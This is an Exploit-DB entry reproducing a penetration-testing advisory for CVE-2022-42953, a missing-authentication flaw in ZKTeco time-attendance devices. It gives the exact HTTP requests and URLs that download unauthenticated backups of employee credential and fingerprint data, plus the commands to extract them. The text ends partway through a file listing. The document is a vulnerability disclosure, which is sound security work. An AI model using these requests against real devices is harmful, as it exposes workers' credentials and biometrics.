Exploit-DB #51112
Description: ZKTeco ZEM/ZMM 8.88 - Missing Authentication
Type: webapps
Platform: jsp
Date: 2023-03-28
Author: RedTeam Pentesting GmbH

Exploit:
# Exploit Title: ZKTeco ZEM/ZMM 8.88 - Missing Authentication
# Exploit Author: RedTeam Pentesting GmbH
# CVE: CVE-2022-42953
Advisory: Missing Authentication in ZKTeco ZEM/ZMM Web Interface

The ZKTeco time attendance device does not require authentication to use the
web interface, exposing the database of employees and their credentials.


Details
=======

Product: ZKTeco ZEM500-510-560-760, ZEM600-800, ZEM720, ZMM
Affected Versions: potentially versions below 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) and 15.00 (ZMM200-220-210)
Fixed Versions: firmware version 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720), firmware version 15.00 (ZMM200-220-210)
Vulnerability Type: Missing Authentication
Security Risk: medium
Vendor URL: https://zkteco.eu/company/history
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-003
Advisory Status: published
CVE: CVE-2022-42953
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42953


Introduction
============

"Time attendance and workforce management is an integrated set of
processes that an institution uses to optimize the productivity of its
employees on the individual, departmental, and entity-wide levels.
ZKTeco has been at the forefront of time attendance solutions for the
last 30 years, integrating advanced biometric technologies with
innovative and versatile terminals." (from company website)


More Details
============


The ZKTeco ZEM/ZMM device allows to store a list of users and their credentials
which may be used to log into the device to prove the users' attendance. These
credentials can either be a PIN, a card for a variety of card readers, or a
fingerprint. The user list can be managed through the web interface.

When opening the web interface, for example on http://192.0.2.1/,
the web server of the device sends a Set-Cookie header for a cookie with
name and value similar to the following:

-----------------------------------------------------------------------
Set-Cookie: SessionID=[PII_REDACTED]; path=/;
-----------------------------------------------------------------------

It was determined that the value of the cookie is roughly the number of
seconds since January 1, 1970. Since the value has a constant offset,
that might allow attackers to guess the cookie value. After setting the
cookie, the webserver redirects the browser to "/csl/login". The login
form provided at this URL has its form action set to "/csl/check". If
the user provides wrong credentials, the web server responds with an
error message. If the user provides correct credentials, the server
responds with a frameset.

In this frameset various options are available, for example a user list.
The list contains a link titled "Options" for each user item which
references a URL similar to the following

http://192.0.2.1/csl/user?did=0&uid=123

Additionally, backups of all settings of the device can be downloaded
from the backup page. The request to do so looks similar to the
following:
-----------------------------------------------------------------------
POST /form/DataApp HTTP/1.1
Host: 192.0.2.1
User-Agent: Mozilla/5.0
Cookie: SessionID=[PII_REDACTED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://192.0.2.1
Referer: http://192.0.2.1/form/Device?act=11

style=1
-----------------------------------------------------------------------

When the value "1" is given for the field named "style", the web server
responds with the file "device.dat" (corresponding to the option "Backup
System Data" in the web interface), for all other values the server
responds with the file "data.dat" (corresponding to the option "Backup
User Data" in the web interface). Both files can not only be requested
using HTTP-POST, but also using HTTP-GET with the following URLs:

http://192.0.2.1/form/DataApp?style=1
http://192.0.2.1/form/DataApp?style=0

Both files are - even though it's not obvious from the filename -
compressed tar archives. They can be extracted in the following way:

-----------------------------------------------------------------------
$ mv data.dat data.tgz
$ tar xvzf data.tgz
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/group.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/htimezone.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/lockgroup.dat
rwxrwxrwx 500/513    10512 2021-06-23 07:23 mnt/mtdblock/ssruser.dat
rwxr-xr-x root/root[PII_REDACTED]-06-18 07:23 mnt/mtdblock/tempinfo.dat
rwxrwxrwx 500/513    19456 2005-05-05 07:05 mnt/mtdblock/template.dat
rw-r--r-- root/root[PII_REDACTED]-06-18 07:23 mnt/mtdblock/templatev10.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/timezone.dat
rwxrwxrwx 500/513     1372 2005-05-05 07:25 mnt/mtdblock/user.dat
rwxr-xr-x root/root    120 1970-01-01 01:08 mnt/mtdblock/data/alarm.dat
rwxr-xr-x root/root      0 2021-06-23 09:55 mnt/mtdblock/data/extlog.dat
rwxr-xr-x root/root      0 2013-05-04 01:28 mnt/mtdblock/data/extuser.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/group.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/htimezone.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/lockgroup.dat
rwxr-xr-x root/root  54800 2021-06-23 09:55 mnt/mtdblock/data/oplog.dat
rwxr-xr-x root/root  33200 2021-06-23 07:23 mnt/mtdblock/data/sms.dat
rwxr-xr-x root/root      0 2021-06-23 09:55 mnt/mtdblock/data/ssrattlog.dat
rwxr-xr-x root/root    660 2018-11-09 17:28 mnt/mtdblock/data/stkey.dat
rwxrwxrwx 500/513        0 2013-05-04 01:28 mnt/mtdblock/data/template.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/timezone.dat
rwxr-xr-x root/root      0 1970-01-01 01:08 mnt/mtdblock/data/tr